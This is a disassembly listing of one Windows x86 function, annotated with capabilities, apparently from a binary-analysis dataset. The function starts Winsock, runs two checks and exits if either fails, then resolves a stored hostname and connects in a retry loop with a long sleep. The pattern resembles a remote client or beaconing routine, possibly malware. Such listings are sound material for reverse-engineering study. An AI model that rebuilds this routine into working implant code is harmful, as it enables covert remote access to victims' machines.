Function at 0x4062c0
Capabilities:
Connect socket
Initialize winsock library
Resolve dns
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1ec
mov eax, dword [0x40b008]
xor eax, esp
mov dword [esp + 0x1e8], eax
push ebx
push esi
push edi
lea eax, [esp + 0x48]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x406307
mov ecx, dword [esp + 0x1f4]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00406574
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [0x40bccc]
push 0
push 0x402a70
push 0
push 0
mov dword [0x40bcd0], eax
call dword [sym.imp.USER32.dll_EnumDisplayMonitors]
call fcn.00404dd0
call fcn.00404d10
test al, al
jne 0x406338
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10
call fcn.00406582
movzx ebx, word [0x40c1d0]
lea edi, [esp + 0x1f5]
mov esi, eax
mov dword [esp + 0x28], 0
xorps xmm0, xmm0
mov dword [esp + 0x2c], 0
add esp, 4
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x40], xmm0
mov dword [esi + 4], 1
mov dword [esi + 8], 1
mov dword [esi], vtable.std::_Ref_count_obj2_class_client_.0
mov dword [esp + 0x2c], 2
mov dword [esp + 0x30], 1
mov dword [esp + 0x34], 6
nop dword [eax]
mov eax, 0xcccccccd
dec edi
mul ebx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
add cl, cl
sub bl, cl
add bl, 0x30
mov byte [edi], bl
mov ebx, edx
test ebx, ebx
jne 0x4063a0
xor ecx, ecx
lea eax, [esp + 0x1f1]
mov dword [esp + 0xc], ecx
mov edx, 0xf
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], edx
cmp edi, eax
je 0x4063f6
sub eax, edi
lea ecx, [esp + 0xc]
push eax
push edi
call fcn.004015a0
mov edx, dword [esp + 0x20]
mov ecx, dword [esp + 0xc]
cmp edx, 0x10
lea eax, [esp + 0xc]
cmovae eax, ecx
lea ecx, [esp + 0x24]
push ecx
lea ecx, [esp + 0x2c]
push ecx
push eax
push 0x40c040
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov edx, dword [esp + 0x20]
mov edi, eax
cmp edx, 0x10
jb 0x40644e
mov ecx, dword [esp + 0xc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406444
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40651a
push edx
push ecx
call fcn.00406803
add esp, 8
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0xf
mov byte [esp + 0xc], 0
test edi, edi
jne 0x4064dd
mov eax, dword [esp + 0x24]
push dword [eax + 0xc]
push dword [eax + 8]
push dword [eax + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, eax
mov dword [0x40b570], ecx
cmp ecx, 0xffffffff
jne 0x406493
push dword [esp + 0x24]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
jmp 0x4064dd
mov eax, dword [esp + 0x24]
push dword [eax + 0x10]
push dword [eax + 0x18]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4064c1
push dword [0x40b570]
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [esp + 0x24]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
jmp 0x4064dd
push dword [esp + 0x24]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call fcn.00405060
test eax, eax
jne 0x4064dd
call fcn.004013e0
test eax, eax
je 0x4064e8
push 0xc350
call dword [sym.imp.KERNEL32.dll_Sleep]
or eax, 0xffffffff
lea ecx, [esi + 4]
lock xadd dword [ecx], eax
jne 0x406338
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
or eax, 0xffffffff
lea ecx, [esi + 8]
lock xadd dword [ecx], eax
jne 0x406338
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
jmp 0x406338
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3